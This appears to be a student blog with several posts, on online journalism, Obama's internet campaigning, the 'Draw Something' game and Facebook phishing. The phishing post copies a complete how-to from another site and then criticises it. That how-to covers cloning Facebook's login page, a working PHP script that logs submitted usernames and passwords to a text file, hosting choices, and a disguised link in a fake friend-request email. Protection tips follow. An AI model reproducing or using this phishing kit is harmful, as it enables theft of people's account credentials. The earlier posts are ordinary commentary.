Does Journalism have a future on the Internet?

The Internet as we know has the capability of reaching to a wide audience all around the world. It is a valuable tool and lives up to the quote "Knowledge is power" due to the vast availability of knowledge and information present on the Internet. However, when the question arises if the internet is useful in the field of journalism, most of us would presume the answer to be YES which is not entirely true; the internet does have its disadvantages in the field of journalism.

To begin with its advantages. The Internet in the field of journalism further enhances the concept of global village allowing benefits for various factors such as : 

• Cost reduction-Readers can save money by reading news online, instead of subscribing for newspapers
• Easy and Convenient accessibility- consumers can get news from any source possible, expanding and increasing knowledge 
• Introduction to new tools- Skype interviews, online databases. More convenient for reporters 
• Maintains balance of power- This is maintained between users and journalists, where users are free to view whatever content possible and journalists are able to put up any content possible, supported by evidence. Neither one of the two- users and journalist function as a gatekeeper.                                   

In contrast to this , in a 2012 poll that  had been conducted by The Atlantic and National Journal,  43 media insiders (Media insiders include people who work as editors, reporters and publishers) were asked if journalism has been helped more or hurt more by the rise of news consumption online. 65% said journalism had been hurt more, while 34 percent said it had helped more.

As seen in my previous blog post about President Obama’s use of the Internet to connect and reach out to his audiences. Mr. Obama had recorded his speeches and had used the Internet; specifically YouTube to post his speeches .This is an example of journalism on the Internet. The media insiders were also asked about the coverage of President Obama. Out of 45 respondents, 71 percent said it was “about right”, 22 percent said it’s been “too easy” and 7 percent said it’s been “too tough”. This shows how the media insiders considered President Obama's use of Internet for journalism too "overexposed". As the majority had said, the use of the Internet was " about right" , it was how they had expected it to be- superficial. 

The following video above further accentuates on how the Internet was best described as " overexposed" and " superficial " in the field of journalism. 

The increase in audience reach using the Internet  is indeed gratifying but the use of internet to promote journalism has distorted the need of meeting up to the challenges of  independent reporting and newsgathering which are aspects of traditional journalism. The rise in the internet has reduced the traditional media industry causing a downfall in the business and economic model of print based journalism. It has also questioned the online content of information which does not share the same par or substantial worth as the content provided by print based media like newspapers.The rise in the Internet has also effected the journalism profession in a negative way, there is a great number in the loss of journalism jobs and a decline in revenue 

 The answer to the title of the blog post would be: Both-   It has a terrifying and a bright future. 

References: 

1) http://www.theatlantic.com/magazine/archive/2009/04/media-insiders-say-internet-hurts-journalism/7410/

2)http://gigaom.com/2011/07/21/is-the-internet-making-journalism-better-or-worse-yes/

Politics on the Internet- Two great forces

Politicians are evolving their methods to reach out to their masses via the Internet. The 2008 U.S. presidential campaign depicted Obama's campaign's use of Facebook,You Tube and Twitter which had helped his victory. The election of Barack Obama as president was in parallel to John Kennedy's election in which Kennedy's has used television that forever changed politics. For Mr. Obama, it was the Internet. One of the unique features of The Obama campaign was the use of social networking sites like My Space and Facebook. Facebook is more popular among kids these days and thus alot of college students had joined Obama's Facebook site increasing his popularity among the young people. He has over 1.5 million friends on My Space and Facebook, and he currently has over 45,000 followers on Twitter.  

It is no longer a one way system where the government hands down the laws to citizens, why not use the Internet to let citizens and organisations  work together with government officials to find solutions to problem accentuating on a peer- to- peer network. 

Mr Obama had also used YouTube as a medium to connect and reach out to his audiences. Most of his speeches are recorded and posted it on YouTube to create a larger community of supporters, communicate with his followers and make his campaign and the political process more transparent

Apart from using the existing social media, Obama's campaign had also launched its own web page entitled MyBarackObama.com ( http://www.barackobama.com/)  and online action groups to fight against false rumours about Obama's personal background and tax policies. Two million profiles were created on Obama's own social network with 200,000 offline events planned where campaign donors can have dinner with Obama , 400,000 blog posts and more than 35,000 volunteer groups were created 

Mr Obama had a balanced approach towards his campaign. He not only used social media as means of reaching out to his audience but  had also used the traditional face to face approach. The campaign was filled with creativity and enthusiasm which manifested through the YouTube videos, Facebook page and even organizing events outside the barriers of social media such as dinners with the public to get to know their perceptions. 

.

References: 
1)http://www.readwriteweb.com/archives/barack_obama_internet_strategy_presentation.php
2)http://www.wired.com/threatlevel/2008/11/propelled-by-in/
3)http://voices.washingtonpost.com/44/2008/11/the-youtube-presidency.html

'Draw Something': The new multimedia addiction

The use of multimedia is becoming more diverse. The multimedia capabilities of mobile phone will continue to evolve. Currently mobile phones have been viewed as diverse functions that will take over  many traditional electronic devices such as camera, music player, game boy, etc. The iPhone4s and Android are examples of top multimedia phones.  Focusing on the iPhone, it is integrated with iTunes which lets you download content such as podcasts directly to the device. The You Tube application allows you to watch videos online by streaming them on to the iPhone. The iPhone is classified as a " multimedia smartphone" manufactured by Apple Inc. The smartphone can function as a camera, visual voice mail, media player, and text messaging. It could be used to access our email accounts and web browsers. Navigation through the iPhone, just like the iPad can be enhanced through multi-touch screen. Applications such as social networking sites, games, GPS navigation , etc can be installed in the phone. Multimedia combines all the elements such as text , video, sound, graphics and animation into a powerful tool – in this case, specifically the iPhone to enhance creativity, entertainment and learning environment. 

Smart phones have become more sophisticated due to their operating systems, various programs and utility. Operating system is a platform in the phone which the user could add any application and program. The user could set in applications like games, multimedia application, and e-books. The current iPhone 4s has the world's largest collection of mobile applications, twitter integration, etc. 

From board games ,  now cell phones have a wide variety of games. iPhone for instance  has also been gaining popularity for games such as Angry Birds and the recent most popular game on iPhone and Android- 'Draw Something'.

'Draw Something' is very addictive and I can say this for a fact that this is true as I have started playing this game and I have become so addicted to it. The game is something like Pictionary. One can even register within the game through Facebook or Twitter. 

The following video explains how the game works.  

The game is interactive, it brings friends together and it would be a great way for students to work on their artistic skills. Imagine an art assignment to draw 10 things on Draw Something and then bring in screen shots to show what you drew.

Multimedia is a broad term to show how media is used in a variety of ways to display content . Mobile phones as we know is very effective, however their small screen size limits the ability to share visual images. Apple Inc has evolved and has improved their forms of multimedia from iPod, iPhone and to iPad. 





!

Facebook Phishing

Recently I came across an article entitled” How to Hack Facebook Account using phishing web page?” This article took me by surprise, I never thought that such articles would be posted for the public to see and to follow such practices. Before I proceed explaining the step by step process of hacking into the Facebook account by phishing the web page, I would like to explain what phishing is. Phishing a  webpage is creating a webpage which looks like the original website. By creating a Phishing WebPage, one can make users believe that it is the original website and enter their id and password.

Step 1:
Go to Facebook.com
Right click on the white space of the front page.  Select "View Page source".

Copy the code to Notepad. 

Step 2: 

Now find (Press ctrl +f)  for "action="  in that code.
You fill find the code like this: 

As seen in the picture above one has to change the circled word "action" to "next.php" '. After you have done that, you should change the method  to "get" instead of "post", or else it will not work. Save the document as index.htm

Step 3:

Now we need to create the "next.php" to store the password. To do this,open the notepad and type the following code:

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;

?> 

Step 4: 

Open the notepad and save the file as " pswrds.txt" without any contents. 

Then upload those three files- (index.html, next.php, pswrds.txt) in any subdomain Web hosting site. The web hosting service should have the php feature. One can choose any of these sites :110mb.com, spam.com justfree.com or 007sites.com. 

 

Step 5: 

Create a Facebook account with keywords like facebook@hotmail.com, facebook_welcome@hotmail.com 

Step 6: 

Copy the original Facebook invitation and paste it in your mail

Remove the hyperlink from this  http:/www.facebook.com/n/?reqs.php

 Mark it and push the Add hyperlink button
 For this step basically when someone adds you as a friend on Facebook, just copy that mail and paste in compose mail. In that , one will be able to find this link http:/www.facebook.com/n/?reqs.php .  Just delete the link from this but mark it and create link with same text but link to your site.   

"Add the hyperlink button in the red circle and your phisher page url in the hyperlink bar that appears after clicking the button. and click add. The hyperlink should still display http:/www.facebook.com/n/?reqs.php but this leads to your phisher page. (http://www.breakthesecurity.com/2010/11/how-to-hack-facebook-account-using.html) 

The title of the page reads" Ethical Hacking Tutorials". Is this considered ethical? The Internet as a media is shaping the values and outlooks of children. The vast array of information has become a source of trouble for children. The knowledge acquired is marvelous and unique, however it has to be used in the right way by people.  The Internet also serves as a positive learning and teaching tool. It provides ways to prevent and protect from Facebook Phishing attack : 

1) " Follow the Sophos Blog" -  They are reports on the latest Facebook phishing scams in a blog called Naked security. The blog is one of the best sources today when it comes to Facebook scams. There are stories and articles raising awareness to the public about the different experiences and happenings of Facebook phishing scams

 2)  BitDefender Safe Go- Safe Go is a Facebook application developed by BitDefender which is designed to keep users aware and protected from scams on Facebook. SafeGo scans the user's profile for suspicious links and also has an option to automatically post  on one's wall when a threat is detected.


3) Facebook Security- Another way of being safe on Facebook comes directly from the source itself  - " Facebook Security Page". The Facebook Security Page is constantly being updated to protect the user's account.

4) Look for the Signs- Aside from all the technical ways one can protect their Facebook account is by being more alert. See who has posted on your wall and why would they share something beginning with " OMG  you wont believe this!"  If you receive emails that claim to be from Facebook, make sure to analyse and evaluate the email address they came from. Facebook notifications always come from Facebookmail.com. If you feel that your Facebook account has been phished, the first thing to do is change your password. You can even change your privacy settings on Facebook to make sure your account is safe. 

References: 

1) http://www.breakthesecurity.com/2010/11/how-to-hack-facebook-account-using.html

2) http://www.makeuseof.com/tag/5-tips-tricks-avoid-facebook-phishing-scams/